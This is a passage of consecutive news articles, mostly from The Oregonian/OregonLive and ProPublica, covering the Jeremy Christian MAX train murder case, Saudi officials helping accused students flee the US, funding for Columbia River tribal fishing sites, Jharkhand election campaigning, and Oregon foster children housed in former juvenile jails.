spouting racist and xenophobic comments when other passengers intervened. The day before the fatal attacks, Hester said she reported to Portland police disturbing and racist behavior by Christian on a MAX train that stopped at the Rose Quarter MAX station. Hester said Christian threatened her life -- saying he wanted to kill all Muslims, blacks, Jews, then threw the drink bottle at her face, injuring her eye. After the hearing was over, Hester said she went to court because she wants to fight the racism she sees every day on the street, on TriMet and in the country under the current presidential administration. Weve been enduring this for two years, Hester said, describing the time Christians criminal case has been in progress. How much longer do we have to endure this kind of torture? Hester said Christians rant in court is evidence of who he is and continues to be. Thats him, she said, an angry white racist. -- Aimee Green agreen@oregonian.com o_aimee Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox. UPDATE: 11:45 a.m.: The judge wont hear arguments about postponing the trial until Friday, May 3. Read this story about what happened in court today. Lawyers for MAX train murder defendant Jeremy Christian are asking a judge to postpone Christians trial, scheduled to start June 24. Christians defense attorneys submitted a memo to Multnomah County Circuit Judge Cheryl Albrecht saying they need more time to prepare for trial and that they want to allow more time for settlement negotiations, which could end up negating the need for a trial altogether. Their memo was filed late Thursday and appeared in the courts electronic filing system Friday morning. Defendant has been diligent and has investigated the case thoroughly, but more time is needed to contact and interview additional witnesses, defense attorney Greg Scholl wrote in the memo. Scholl added that he and defense attorney Dean Smith also are preparing witnesses who would testify on Christians behalf if Christian is found guilty of aggravated murder for the deaths of two fellow passengers on a MAX train in 2017. Those witnesses could offer evidence that Christian should not be sentenced to death. Its unclear how long of a postponement Christians lawyers are seeking or when the judge will rule on the request, but the request could be discussed at a scheduled hearing starting at 9 a.m. Friday. In December 2017, prosecutors and defense attorneys agreed to schedule the trial for five weeks starting on June 24, 2019. Thats more than two years after Christian, 36, was arrested on accusations of fatally stabbing Ricky Best and Taliesin Namkai-Meche in the neck on a MAX train as it pulled into Hollywood MAX station on May 26, 2017. A third passenger, Micah Fletcher, was stabbed in the neck but survived. Police and prosecutors say the attack was motivated by bigotry -- that Christian was harassing two black teenage girls by spouting racist and xenophobic comments when other passengers intervened. Christians lawyers have indicated that they could argue Christian is guilty except for insanity -- essentially that Christians mental illness at the time of the killings was too profound to hold him criminally accountable or sentence him to death. Earlier this month, Christians lawyers had sought to move the trial to a different Oregon county, saying they didnt think their client could get a fair trial in Multnomah County because jurors have been tainted by media coverage of the case. The judge declined to grant the request, saying jurors will be thoroughly questioned about any bias or knowledge of the case. If an impartial jury cant be seated, the judge said she could then order the trial moved to somewhere else in Oregon. In their memo sent to the court Friday morning, Christians lawyers also stated that they want the trial to be delayed because of potential upcoming changes to Oregons capital punishment law. -- Aimee Green agreen@oregonian.com o_aimee Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox. Sen. Ron Wyden of Oregon on Friday called on the Trump administration to take immediate action after revelations that the U.S. government knew Saudi Arabian officials were spiriting criminal suspects out of the U.S. for more than a decade yet never intervened. Wyden called it a wide-ranging coverup that has ranged over successive presidents. This has gone on through Republican and Democratic administrations, but it is up to the Trump administration to do something about it today, Wyden, Democrat, said in a statement. Anything less amounts to a craven betrayal of Americans interests on behalf of a murderous, autocratic regime. Wydens forceful remarks followed a story co-published by The Oregonian/OregonLive and ProPublica that showed how the FBI, the U.S. Department of Homeland Security and other agencies have been aware of the Saudi actions since at least 2008. Current and former American officials claimed that Saudi diplomats, intelligence officers and other operatives have assisted in the illegal flight of Saudi fugitives, most of them university students, after they were charged with crimes in the U.S. including rape and manslaughter. The Saudis bailed the suspects out of jail, hired lawyers to defend them, arranged their travel home and covered forfeited bonds for the fugitives, the officials said. But American administrations, including those of Presidents George W. Bush and Barack Obama, have avoided confronting the government in Riyadh out of concern that doing so might jeopardize U.S. interests, particularly Saudi cooperation in the fight against Islamist terrorism, current and former officials said. Our government was aware of this pattern at least a decade ago, Wyden said, citing the news report. Rather than take action, federal officials have refused to provide any meaningful information to Congress and participated in what appears to be a wide-ranging coverup. Wyden began pressing the Trump administration for information after The Oregonian/OregonLive revealed criminal cases involving at least five Saudi nationals who disappeared from Oregon before they faced trial or completed their jail sentence, including those who had surrendered their passports to authorities. The news organization has since found similar cases in at least seven other states Montana, Ohio, Oklahoma, Pennsylvania, Utah, Washington and Wisconsin and Canada, bringing the total number of known Saudi suspects who have escaped prosecution to 25. Though longtime allies, the U.S. and Saudi Arabia dont share an extradition treaty. That makes the return of any Saudi suspect who has left the U.S. unlikely if not impossible without diplomatic or political pressure. A spokesman for the Saudi Embassy in Washington, Fahad Nazer, said that a small fraction of Saudi students in the United States have gotten into legal trouble, and that Saudi officials have strictly adhered to all U.S. laws in helping them. While Wyden and fellow Oregon Sen. Jeff Merkley, also a Democrat, introduced legislation in January aimed at punishing Saudi Arabia for its suspected role in helping Saudi criminal suspects flee the U.S., the proposals have attracted little fanfare on Capitol Hill. Wyden also has struggled to compel various federal agencies to share what they know. The FBI last month rebuffed a formal request from the senator to turn over information it might have on suspected Saudi fugitives. In February, the State Department told him that it was unlikely to play any role in trying to secure the return of Abdulrahman Sameer Noorah, accused of killing Portland teen Fallon Smart in a hit-and-run crash, suggesting it would not seek diplomatic measures. Federal law enforcement officials believe the Saudi Arabian government helped Noorah flee the U.S. weeks before his manslaughter trial in 2017. Meanwhile, the Justice Department said in a March letter to Wyden that federal law enforcement options are limited when it comes to Saudi nationals accused of crimes in the U.S. who have returned to their country. Todays news removes any excuse for further inaction or stonewalling by this administration, Wyden said. Read more stories from this series here. -- Shane Dixon Kavanaugh; 503-294-7632 Email at skavanaugh@oregonian.com Follow on Twitter @shanedkavanaugh Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox. UPDATE 3:45 p.m. Friday: An FBI spokeswoman said she could neither confirm nor deny the existence of any investigation. By Sebastian Rotella and Tim Golden, ProPublica, with Shane Dixon Kavanaugh, The Oregonian/OregonLive This story was co-published with ProPublica. The government of Saudi Arabia has repeatedly helped Saudi citizens evade prosecutors and the police in the United States and flee back to their homeland after being accused of serious crimes here, current and former U.S. officials said. The FBI, the Department of Homeland Security and other agencies have been aware of the Saudi actions for at least a decade, officials said. But successive American administrations have avoided confronting the government in Riyadh out of concern that doing so might jeopardize U.S. interests, particularly Saudi cooperation in the fight against Islamist terrorism, current and former officials said. Its not that the issue of Saudi fugitives from the U.S. wasnt important, said retired FBI agent Jeffrey Danik, who served as the agencys assistant legal attache in Riyadh from 2010 to 2012. Its that the security relationship was so much more important. On counterterrorism, on protecting the U.S. and its partners, on opposing Iran, the Saudis were invaluable allies. American officials said Saudi diplomats, intelligence officers and other operatives have assisted in the illegal flight of Saudi fugitives, most of them university students, after they were charged with crimes including rape and manslaughter. The Saudis have bailed the suspects out of jail, hired lawyers to defend them, arranged their travel home and covered their forfeited bonds, the officials said. A spokesman for the Saudi Embassy in Washington, Fahad Nazer, said that only a small fraction of Saudi students in the United States have gotten into legal trouble, and that Saudi officials have strictly adhered to all U.S. laws in helping them. The notion that the Saudi government actively helps citizens evade justice after they have been implicated in legal wrongdoing in the U.S. is simply not true, he said. He did not respond to questions about how a series of Saudi students had managed to return home while facing criminal charges in the United States. The Trump administration has deflected calls for an accounting of the Saudi governments role in the flight of fugitives, asserting that there is little the United States can do because it has no extradition treaty with the kingdom. This week, the State Department said for the first time that it has raised the issue with senior Saudi officials, but it would not specify when or how. The U.S. government takes this seriously, said a State Department spokeswoman, who would only respond to ProPublicas questions on the condition of anonymity. [Read The Oregonian/OregonLives series on Saudi students fleeing justice in the U.S. here] The repeated flight of Saudi students from U.S. justice was revealed in a series of recent articles in The Oregonian/OregonLive, with which ProPublica is now collaborating to report on the issue. Those articles have identified more than 20 cases since 1988 in which Saudis have fled from legal troubles before and often after being charged with crimes in the United States and Canada. The extent of the Saudi governments role in helping such fugitives and the fact that U.S. national security agencies have long known of it have not previously been reported. U.S. officials said the problem of Saudi students fleeing prosecution had increased as the Saudi student population in the United States has exploded, rising from fewer than 5,000 in 2005 to more than 80,000 a decade later, according to Homeland Security figures. The Saudi government has sponsored most of those students under a $3 billion scholarship program created by the late King Abdullah. The students are dispersed widely around the United States, attending schools from Oregon State University to Western Illinois University to Southern New Hampshire University. The program has brought a bounty of full-freight tuition payments to dozens of state and private institutions and introduced a new generation of Saudis to life outside the regimented confines of the kingdom. A former senior national security official said Homeland Security first focused on the issue of Saudis evading justice in 2008, when an intelligence unit tracking foreign students noted a pattern of Saudis disappearing back to their homeland after they had been charged with crimes in the United States. Homeland Security analysts identified several Saudi officials who had assisted in the repatriation efforts while working out of the Saudi Arabian Cultural Mission, a government agency that both supports and monitors Saudi students in the United States. At least some of the officials at the Cultural Mission appeared to be intelligence officers working undercover, the former senior official said. Since then, Homeland Security and other agencies have learned of more cases in which Saudi suspects have eluded American justice, apparently with their governments help. But U.S. law enforcement agencies still have only a sketchy understanding of how some of the Saudi suspects escaped the United States and the role that Saudi operatives played, officials said. Instances of misconduct by foreign diplomats are typically raised by State Department officials in meetings with foreign envoys in Washington and overseas. But none of the more than two dozen current and former officials interviewed for this story said they knew of any formal protest about the issue prior to the State Departments new assertion that it has discussed the matter with Saudi leaders. I would not have hesitated to go to anybody whether the crown prince or the deputy crown prince or the foreign minister to bring up something that was distasteful or difficult, said Joseph W. Westphal, who was the United States ambassador in Riyadh between 2014 and 2017. It would not have been something that I shied away from if it was affecting the relationship. But it was not something that came to my desk. Officials offered several reasons for Washingtons lack of action. In some cases, state or local law enforcement officials had taken months to contact federal agencies to seek warrants for the suspects arrests for unlawful flight from prosecution. In other instances, local officials did not appear to have contacted federal agencies at all. Although many current and former officials acknowledged having heard about individual cases of Saudis fleeing justice, some of them said they did not see a clear pattern emerge. American officials dealing with Saudi Arabia have also long been accustomed to the kingdoms overarching concern with its image in the United States, and to the extraordinary lengths to which Saudi diplomats would often go to avoid negative publicity. Within the federal government, information about the Saudi cases has been scattered across several agencies, none of which have had much incentive to address the problem. FBI and CIA officials in Saudi Arabia have concentrated on preserving Saudi cooperation in the fight against Islamist terrorism; matters that might jeopardize that goal have often been avoided, officials said. For decades, Saudi Arabias vast oil wealth and its strategic influence in the Middle East have ensured similar deference from the State and Defense departments and the National Security Council staff. The bilateral relationship became strained after the 9/11 attacks, in which 15 of 19 hijackers were Saudi members of al-Qaida, and during the American occupation of Iraq. But the Obama administration made a concerted effort to overcome those tensions, and the Trump administration has gone further, refusing to hold the Saudi leadership accountable even after the CIA concluded that the powerful crown prince, Mohammed bin Salman, had likely ordered the murder of Jamal Khashoggi, a Saudi columnist for The Washington Post. Since late December, Sen. Ron Wyden, an Oregon Democrat, has pressed the departments of State, Justice and Homeland Security for information on the Saudi governments actions in helping to repatriate Saudi students who faced criminal charges here. Wyden voiced particular outrage about the case of Fallon Smart, a 15-year-old Portland girl who was struck and killed by the speeding car of a Saudi college student in 2016. That student, Abdulrahman Sameer Noorah, was freed from a Portland jail after the Saudi consulate in Los Angeles gave him $100,000 to cover his $1 million bail. He surrendered his passport and drivers license to Homeland Security officials. But on a Saturday afternoon in June 2017, two weeks before Noorah was to go on trial for manslaughter, a large, black SUV picked him up at the home where he was staying and spirited him away. His ankle monitoring bracelet was later found by the roadside; a week later, he was back in Saudi Arabia a fact that the authorities in Oregon did not learn until more than a year later. Federal officials would not discuss their evidence in the case, but they said they believe it shows that the Saudi government helped Noorah flee the country. Investigators suspect that Saudi operatives provided the student with a replacement passport and may also have arranged for him to escape on a private jet, officials with the U.S. Marshals Service said. But while the police found a trail of clues including cellphones, a laptop and surveillance camera footage of the black SUV the State Department has asserted that U.S. officials had no concrete, credible evidence as to how Mr. Noorah effected his escape. Without an extradition treaty, the department added in a letter to Wyden in February, there was little chance that he could be made to face justice in the United States. Are you as disturbed as I am that Saudi nationals have a get-out-of-jail-free card that allows them to commit abuses against children, manslaughter, rape and have no accountability? Oregons other U.S. senator, Jeff Merkley, also a Democrat, asked retired Army Gen. John Abizaid last month during a hearing on his confirmation to become the administrations ambassador to Riyadh. When a person commits a crime in the United States, we shouldnt because theyre an ally that buys a lot of stuff from us allow them to whisk their citizens out. While law enforcement and diplomatic officials have met to discuss the Noorah case, they insisted privately that there is little more they can do. Nor is the Trump administration considering any complaint or sanction against the Saudi government for its role in abetting the flight of Noorah and other Saudi fugitives, officials said. The FBI and the Justice Department declined to comment for this article. An FBI spokeswoman said she could neither confirm nor deny the existence of any investigation. In 2008, intelligence analysts at the headquarters of Immigration and Customs Enforcement spotted a striking trend, national security officials recalled. The analysts, who monitored potential terrorist and criminal threats related to foreign students, noted a series of calls to an ICE office from a Saudi official in Washington. The official worked at the Saudi Arabian Cultural Mission, a branch of the countrys diplomatic operation that was then located in a building near the Watergate office complex. He called periodically to ask about the visa status of various Saudi students. On further examination, the analysts found that some of the students had been charged with crimes including rape, embezzlement and theft, and that they had unlawfully fled the country, a former senior national security official said. The mission, established in Washington in 1951, administers government scholarships overseas and helps prepare the visiting students for life in a culture very different from their own. If they ever run into trouble, they are instructed to call the mission. (If they did not, they could expect Saudi officials to call them.) Based on reporting by the FBI, U.S. intelligence analysts believed the cultural center also served as a base for undercover Saudi intelligence officers who kept tabs on the growing numbers of students in the United States. While Saudi diplomatic activity was monitored by the FBI as part of its routine counterintelligence efforts, Saudi intelligence officers seemed to focus on what they considered misconduct by their own citizens advocacy of Islamist radicalism, criticism of the kingdom or other political activity. But the ICE analysts learned that the Saudi operatives would also intervene when a student ran into legal trouble. The initial visit to the student in jail or court might be from their local consulate, but the intelligence officers at the cultural center would provide advice and guidance, the former senior national security official said. ICE officials saw some recurring features in about a dozen cases they scrutinized. In some instances, the Saudi suspects had managed to abscond even after local or state courts had confiscated their passports raising questions about whether Saudi diplomats were providing them with new ones. Several fugitives had slipped into Mexico, apparently to circumvent U.S. immigration checks on their way home. The ICE analysts wrote up their findings in a report that was shared within Homeland Security. But the paper was not formally disseminated to the broader U.S. intelligence community and did not prompt any further investigation. There were enough cases to constitute a pattern that rose to our attention, but there werent enough to generate the interest level for a full-fledged investigation, the former senior official said. Not to mention the diplomatic sensitivities. The Saudi Cultural Mission in Fairfax, Virginia Those sensitivities had risen sharply after 9/11. While the immigration authorities tightened their screening of Arab and other visitors after the attacks, the FBI stepped up its scrutiny of Saudis in the United States. Concerned about apparent ties between al-Qaida and the Saudi elite, the FBI created two new units in Washington that brought together counterterrorism and counterintelligence agents to track the possible Saudi threat. At an April 2005 meeting at the Texas ranch of President George W. Bush, Crown Prince Abdullah, who was already the de facto Saudi monarch, made a plea for the United States to reopen its doors to Saudi students. Abdullah told American friends that the experience of studying in the United States opened the minds of young Saudis, lessened the influence of his countrys fundamentalist Wahhabi clerics and strengthened the two countries alliance. "Part of it was having them learn about tolerance and diversity, said Theodore Kattouf, a former U.S. ambassador in the Middle East who discussed the scholarship program with the Saudi king on several occasions. Abdullah, who ascended to the Saudi throne later in 2005, gave his name to a major new program of government scholarships, extending subsidies to a far wider range of young people than had previously studied abroad. The king pressed his Washington allies to ease U.S. restrictions on student visas for Saudi applicants, and he found political leaders from both U.S. parties receptive to the idea that such exchanges would inevitably instill more liberal and pro-Western values in future generations of Saudi leaders. President Barack Obamas first ambassador to Riyadh, James B. Smith, overhauled the U.S. Embassys visa processing system soon after presenting his credentials in late 2009. The average wait time for a visa fell from almost four months to fewer than 10 days, he said in an interview, and by the time Smith left Riyadh in 2013, the census of Saudis studying in the United States had risen from 17,700 to 77,100, Homeland Security figures show. Although both countries pledged to screen the visa applicants rigorously, some FBI veterans saw the process as inadequate. They interviewed people, they tried to do some due diligence, but it wasnt much, one former agent said. The Saudi government also had its own screening procedures to identify militants, slackers and potential critics of the royal leadership, officials said. Before and sometimes after arriving in the United States, the students were briefed extensively on American social mores, with an eye to helping them to adapt to a culture radically different from their own. A list of rules for Saudi students abroad, published by the Cultural Mission in 2017, forbids any political or religious discussions or any interviews with local news media. The students are also instructed that if they get into any trouble, or witness another Saudi student doing so, they must contact the Cultural Mission or one of the students who act as its semiofficial representatives on many college campuses. "The Cultural Mission does keep tabs, Smith said in an interview. They have representatives at each of the colleges and universities, and they want to make sure that everyone behaves. They run a pretty tight ship. According to former U.S. national security officials and Saudi students, the associations of Saudi students on many campuses act as an informant network for the kingdoms intelligence services, reporting to Cultural Mission handlers or intelligence officers working under diplomatic cover. Officers of the associations, who are vetted and sometimes chosen by the Cultural Mission, report to it on meetings, activities and social media posts from other students, especially anything that might suggest Islamist militancy or criticism of the Saudi regime. Counterintelligence experts said the system resembles the approach used by China to spy on its students overseas. The student associations are an important part of the mechanism of control, said Abdullah Alaoudh, a fellow at Georgetown Universitys Center for Christian-Muslim Understanding, who was stripped of his Saudi government scholarship while studying law at the University of Pittsburgh. Thats who denounced me for being a dissident. They report on you to the Cultural Mission, and the mission had a file on me with all my Twitter and Facebook posts. Nazer, the Saudi Embassy spokesman, said that the cases of students who have broken American laws represent clear aberrations among the hundreds of thousands of Saudis who have studied productively in the United States since the 1960s. He insisted they are not a reflection on the large Saudi student population in the country, the overwhelming majority of which is law-abiding. In a number of cases since 2002, current and former officials said, FBI agents began investigating visiting Saudis for possible extremist ties only to have the visitors disappear. The Saudi government had gotten there first, possibly after conducting its own surveillance of social media platforms, or being warned by its student network, or becoming aware of the bureaus surveillance. One former federal law enforcement official described a 2014 incident in which a Saudi student reported to the Cultural Mission about Islamist material that two fellow students had posted on the internet. Although the content did not violate any American laws, the two students were sent home immediately. Youd be running a case against a guy, and the next thing you know, he would be gone, said another former FBI official, Frank Montoya Jr., who headed the agencys counterintelligence effort. The bureau has struggled since 9/11 on whether or not we should see them as an ally in the fight against terrorism. Current and former national security officials said the Saudis interventions complicated their efforts to determine if the suspects were involved in wider plots or had accomplices. Often, the Saudis were not responsive to FBI requests for information about the suspects who had vanished, the officials added. The Saudis early warning system had long protected members of influential families and other Saudi visitors to the United States. In order to safeguard the kingdoms image, Saudi diplomats often hurried to repatriate businessmen, students or others who got into trouble, preferably before any legal action could be taken against them. There was a practice if somebody got into trouble where they called the embassy and the embassy would come and scoop them up before charges were filed, Smith said. The Saudis didnt want any embarrassment. They would take them out in the middle of the night. National security officials said that system began to operate more frequently and sometimes more aggressively as the number of Saudi students in the United States grew. In one such case, Saudi officials put up $65,000 to cover the $650,000 bond of an 18-year-old student, Ali Alhamoud, after he was jailed on charges of raping a young woman in a small town near the Oregon coast. Within hours after he was bailed out of jail, Alhamoud boarded a plane and flew home, court records show. Its essentially a rendition of their own citizens, said David Rubincam, who took over as the FBIs legal attache in Riyadh in 2008, just as the scholarship program was starting to grow. There were a lot of less-visible situations where they would pull a student back. The more students, the more likelihood of problems. Thats just the math. Military and Homeland Security officials noted that under current U.S. procedures, foreign citizens would show up on border security watchlists only after they had been convicted of crimes; arrests and pending charges would not necessarily alert U.S. border officials or airlines. Although members of Congress and others have long advocated for exit controls on visiting foreigners and the lack of such controls was a pointed criticism by the 9/11 Commission successive U.S. administrations have failed to impose them, citing high costs and cumbersome logistics. The cases uncovered by The Oregonian/OregonLive have suggested that accused students made their way home with assistance from people knowledgeable about skirting the U.S. immigration system. In 2014, Abdullah Almakrami fled from Milwaukee after he had been arrested on suspicion of sexual assault and false imprisonment. Although his passport had been seized, he surfaced months later in Saudi Arabia, where he posted comments on a social media account about food and the weather. The following year, the Saudi Consulate put up the $500,000 bail for Waleed Ali Alharthi, a student at Oregon State University who was found to have a cache of child pornography on his computer and was charged with 10 counts of encouraging child sexual abuse. Although the court had confiscated his passport, Alharthi escaped to Mexico City somehow obtaining a new passport along the way and investigators believe he flew to Paris on his way back to the kingdom, officials say. It is generally not possible to leave the United States by plane without a passport. National security officials said it was implausible that young Saudis on the run could obtain replacement passports or travel into Mexico by land without help. They suspect that Saudi operatives accompany or guide the fugitives. The Saudi Embassy, unlike many others, routinely posts bail and hires criminal defense lawyers for its citizens when they are accused of crimes in the United States. But Nazer, the embassy spokesman, said it does not issue travel documents to citizens engaged in legal proceedings. Danik, one of the former FBI officials who served in Riyadh, recalled dealing with cases of Saudis who fled despite the fact that U.S. courts had seized their passports. I remember in some cases local police and U.S.-based FBI agents were angry, he said. They would call the legal attaches office in Riyadh afterward asking: How did he get out of the U.S.? I told them if theyd have notified us beforehand, I couldve possibly filed an affidavit opposing bail because Saudis arrested in the U.S. were often a flight risk. There were no complaints we lodged with the Saudis, Danik added. That just wasnt something that was going to happen. Although many former U.S. national security officials said they had been aware episodically of fugitives disappearing with suspected help of the Saudi government, the issue never rose anywhere near the level of pressing geopolitical concerns, current and former officials said. Chief among those concerns was ensuring the continued cooperation on counterterrorism issues of a secretive monarchy whose fundamentalist brand of Islam was widely considered to be a central force in the rise of Islamist terrorism. My job as legal attache was to get as much information as I could from the Saudis on terrorism, a former FBI agent said. If I am talking to them about their nationals committing crimes in the United States, its going to shut me down. Its not my lane. It would be handled through diplomatic channels. Saudi Arabia became a critical partner for the CIA and FBI against a rising militant group that posed a surprisingly direct threat to the United States: al-Qaida in the Arabian Peninsula, or AQAP. The group, an offshoot of the Osama bin Laden organization, plotted repeatedly to bomb aircraft bound for the United States and came dangerously close in 2009 when a bomber with explosives hidden in his underwear nearly brought down a jetliner. Later, the Saudis became an important ally in the fight against ISIS, which included several thousand Saudi fighters and carried out attacks in Saudi Arabia. Although the U.S. Embassy continued to receive periodic communications from the United States about Saudi fugitives evading justice, terrorism always dominated the workload, former officials said. Some former FBI agents said senior CIA officials in the kingdom, who had an even closer and more fruitful relationship with the Saudi security services, were especially reluctant to raise issues like the Saudis help to fleeing students. Former FBI officials also said they believed their ambassadors from both the Bush and Obama administrations would have been reluctant to confront Saudi leaders over the matter. Several former senior diplomats who served in Riyadh disputed that notion, insisting that the discussion of such issues was an unavoidable part of their jobs. The two previous U.S. ambassadors, Smith and Westphal, said that they had only heard vague and isolated reports about Saudi students fleeing trouble in the United States, and that they had never been asked by either their subordinates or officials in Washington to raise the issue with the Saudi government. But other foreign policy officials said there is an inherent danger in relationships like the U.S.-Saudi one that American diplomats and other officials try to avoid seemingly smaller, quotidian problems to focus on the highest-priority matters. There is always a risk for the officials who handle these bilateral relationships day to day that you follow the impulse to manage or even smooth over an issue, rather than stepping back and recognizing it as something serious that needs to be confronted, said a former senior Obama administration official. That is especially true with countries where our interests or values dont align. Several former officials emphasized that FBI and CIA personnel in Saudi Arabia had a powerful sense of responsibility to protect Americans from terrorist attacks. But Fawn Lengvenis, the mother of the 15-year-old girl struck and killed in Portland, Fallon Smart, said the government had left her family and other Americans vulnerable to a different kind of threat. Its heartbreaking to learn that our government has, for over a decade, known that the Saudi government has helped so many Saudi students charged with serious crimes skip bail and escape back to Saudi Arabia without any accountability, she said in a statement. Many former diplomats and national security officials also said they suspected the Saudi government had grown more brazen in support of its accused citizens as its defiance of local and state courts had been ignored by successive administrations in Washington. Given the Trump administrations staunch backing for Crown Prince Mohammed in the aftermath of the Khashoggi murder, they added, many were skeptical that those circumstances would change. Right now, the Saudis think they have carte blanche in our country, Montoya, the former FBI counterintelligence official, said. Given the support that they are getting now, they literally can get away with murder. -- Sebastian Rotella, Tim Golden and Shane Dixon Kavanaugh sebastian.rotella@propublica.org; tim.golden@propublica.org; skavanaugh@oregonian.com ProPublica is a nonprofit newsroom based in New York. Sign up for ProPublicas Big Story newsletter to receive stories like this one in your inbox as soon as they are published. https://go.propublica.org/oregonian Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox. About three years after Oregon Rep. Earl Blumenauer visited Lone Pine, there might finally be movement to fix the decrepit conditions there, where Columbia River tribal members live full-time. About 35 families live at Lone Pine, where they share a single restroom with four shower stalls and four toilets - none of which has a door. The toilets occasionally back up onto the floor of the bathroom, sending the smell of waste wafting through the camp. With so many families living there, the sanitation truck almost never arrives soon enough. A bill that allocates $11 million to fix Lone Pines sewer and water infrastructure, safety and sanitation issues is expected to pass its final obstacle Monday. The bill also calls on the U.S. Bureau of Indian Affairs to assess the other 30 sites dedicated to allowing four tribes to carry out their federally protected right to fish the river. The 31 sites were created for members of the Umatilla, Nez Perce, Warm Springs and Yakama tribes after the federal government flooded their traditional fishing sites and villages. Nearly all have fallen into disrepair as a $6.3 million pot of money allocated for their maintenance for the next 50 years runs out in less than two decades due to a high volume of use and inadequate facilities. Weve got 31 of these sites and an obligation to treat the tribes fairly, Blumenauer said Friday. Blumenauer and Oregon Sen. Jeff Merkley, a Democrat, visited Lone Pine in 2016 after an investigation by The Oregonian/OregonLive found that the federal government had ignored its promises to the four tribes that live along the river for 80 years. The U.S. Army Corps of Engineers was supposed to replace the housing lost when the Bonneville, The Dalles and John Day dams were built. The Bureau of Indian Affairs was put in charge of maintenance at the fishing sites after they were built. Neither agency followed through. The Columbia River Inter-Tribal Fish Commission currently maintains and operates the fishing sites. Intergovernmental Affairs Director Charles Hudson said that he is optimistic and that the bill could have passed last Congress if it had more time. Simply put, these are federal properties, they need maintenance and basic improvements like water systems that comply with standards and fire suppression infrastructure, Hudson said. Delay doesn't save money, it only compounds risk. In 2016, Merkley and Blumenauer introduced a bill aimed at replacing housing flooded by three dams. That eventually became law, and work on developing plans for the villages started before being blocked by President Donald Trumps administration. After about a year, Oregon and Washington lawmakers forced the administration to continue the village planning. But another bill for more resources to keep up safety and sanitation standards at the sites that was introduced within weeks of the former stalled time and again, despite bipartisan support from Washington and Oregon. Blumenauer said Friday that Republican control of Congress had jammed the process. With a Democratic majority in the U.S. House again, though, Blumenauer said he is also cautiously optimistic that the bill will finally pass on to the presidents desk, where he is confident it will be signed into law. But the work wouldnt be over, Blumenauer said. He hopes that Lone Pine will demonstrate that a relatively small amount of money can significantly improve the lives of the tribal members who live at fish at Lone Pine so that it can be replicated at the other sites. If this is treated like the obligation that it should be, I think we can make significant progress. I truly believe that, Blumenauer said. Chief Minister Raghubar Das on Thursday coined Jharkhand Mukti Morcha as Jharkhand Mudra Mochan party targeting JMM president Shibu Soren and his family members. Das claimed that JMMs entire politics revolves around minting money on the pretext of fooling innocent tribal of State. The Chief Minister was addressing a rally at Rajmahal after BJP candidate Hemlal Murmu filed his nomination paper from the Santhal Pargana seat. For BJP, Santhal Pargana assumes importance as in 2014 despite Modi wave the party lost Dumka and Rajmahal seat. The Rajmahal seat is presently held by JMM Vijay Hansdak while from Dumka, JMM patriarch Shibu Soren is party MP. Das said, In last five years nothing has changed in Rajmahal only the property of JMM MP has increased by five times. Targeting JMM MP Hansdak, Das said, The JMM MP has tried to stop drinking water schemes worth Rs 200 crore in Santhal region. Highlighting the welfare schemes launched by Prime Minister Narendra Modi, Das said that the construction work of inland port in Sahibganj will be completed soon. Das said, The inland port will be operational by May this year which will boost trade activities in the region leading to flow of money in the region. Meanwhile, campaigning in State has intensified with several leaders carrying out campaign in support of BJP candidates. BJP candidate from Khunti and former chief minister Arjun Munda today visited various areas in Khunti. The BJP candidate also visited the house of his rival and Congress candidate Kalicharan Munda at Mahil village. Arjun Munda, touched the feet of Radhika Munda mother of Congress candidate Kalicharan Munda. The Congress candidate Kalicharan Munda is brother of Khunti MLA Neelkant Singh Munda, who is minister of rural development in Raghubar Das Cabinet. The BJP candidate during his campaign also visited the house of 93-year-old woman, Laxmi Devi at Dalwa village. The woman also presented Munda with Rs 1,100, Dhoti and Gamcha and gave her blessings for victory in election. Arjun who was glad after meeting also posted a remark in his face book stating that it was a special experience for him to get the gifts from the elderly woman. BJP candidate from Ranchi Lok Sabha seat, Sanjay Seth too today carried out campaigning in Chutia area of the Ranchi seat. During his campaign, the BJP candidate attacked the Mahagathbandhan blaming the Congress, JMM, RJD as dynastic parties. Seth said, In the election the opposition is fighting to save their families. While the Congress is party of mother-son, JMM father-son and RJD a party of father-son. Only BJP is a party which is cadre based party. He said, In BJP a simple tea seller can become a Prime Minister, a labourer can become chief minister, and an ordinary party leader can me can become party candidate from an important seat like Ranchi. SALEM Oregon child welfare officials got a chance Thursday to push back against concerns raised in news reports and by advocates for foster children that the state is caring for some of those children in repurposed juvenile jails. I wanted to thank you for titling this presentation refurbished juvenile correctional facilities because it has been reported inaccurately we put our kids in jail cells, Department of Human Services director Fariborz Pakseresht told lawmakers. We never put any (foster) child in a jail cell. Sen. Sara Gelser, a Corvallis Democrat who has pushed for years to improve the states foster system, scheduled a series of hearings on the child welfare divisions use of such placements as well as its increasing reliance on sending children to out-of-state facilities. Im on a quest to get them to say theyre not going to place kids in these facilities anymore, Gelser said of repurposed juvenile jail facilities in an interview on Monday. The hearing on Thursday grew out of reporting by The Oregonian/OregonLive in March that the state has increasingly relied on institutional programs rather than foster families to house children, including repurposed juvenile jails operated by county governments. In at least one case, the bedrooms in those settings where Oregon foster children were assigned to live had a toilet inside the room. Additionally, the news organization reported that a program at Klamath Countys juvenile detention facility, which housed both girls in foster care and girls in state custody for committing crimes, did not provide free tampons at a time state lawmakers are considering a bill to make free tampons mandatory at the womens prison. The facility did offer tampons to girls who earned points for good behavior. A lawyer for a foster child at the facility, who is also among the federal lawsuit plaintiffs, had raised the issue with lawmakers and the state subsequently visited the facility and decided to temporarily remove all foster children. Among other issues, a state licensing inspection of the program concluded that girls there gave credible accounts that they were strip searched. A federal lawsuit filed last week by a national child advocacy group and an Oregon disability rights group also accuses the state of housing some foster children in converted juvenile jails, where the childrens lawyers said the young people were in some cases locked in their rooms at night. Child welfare officials explained to lawmakers on Thursday why they felt The Oregonian/OregonLives news coverage was unfair: several of the spaces where foster children live within juvenile detention buildings either were never previously used as detention centers or were not designed as such, they said. Regarding a wing of Douglas Countys juvenile detention center that a reporter from The Oregonian/OregonLive visited in January, Child Welfare director Marilyn Jones said it was never used as a jail. The building has two very similar-looking wings, one of which currently houses foster youth and the other of which is used for detention. A bedroom at Douglas County's program for foster children in a wing of the juvenile detention center. Sen. Dallas Heard, a Republican whose district includes the Douglas County facility, made the same point that the wing of the building was never actually used for juvenile detention. It is not unheard of in Oregon for juvenile detention facilities to have vacant space as a result of locking up fewer 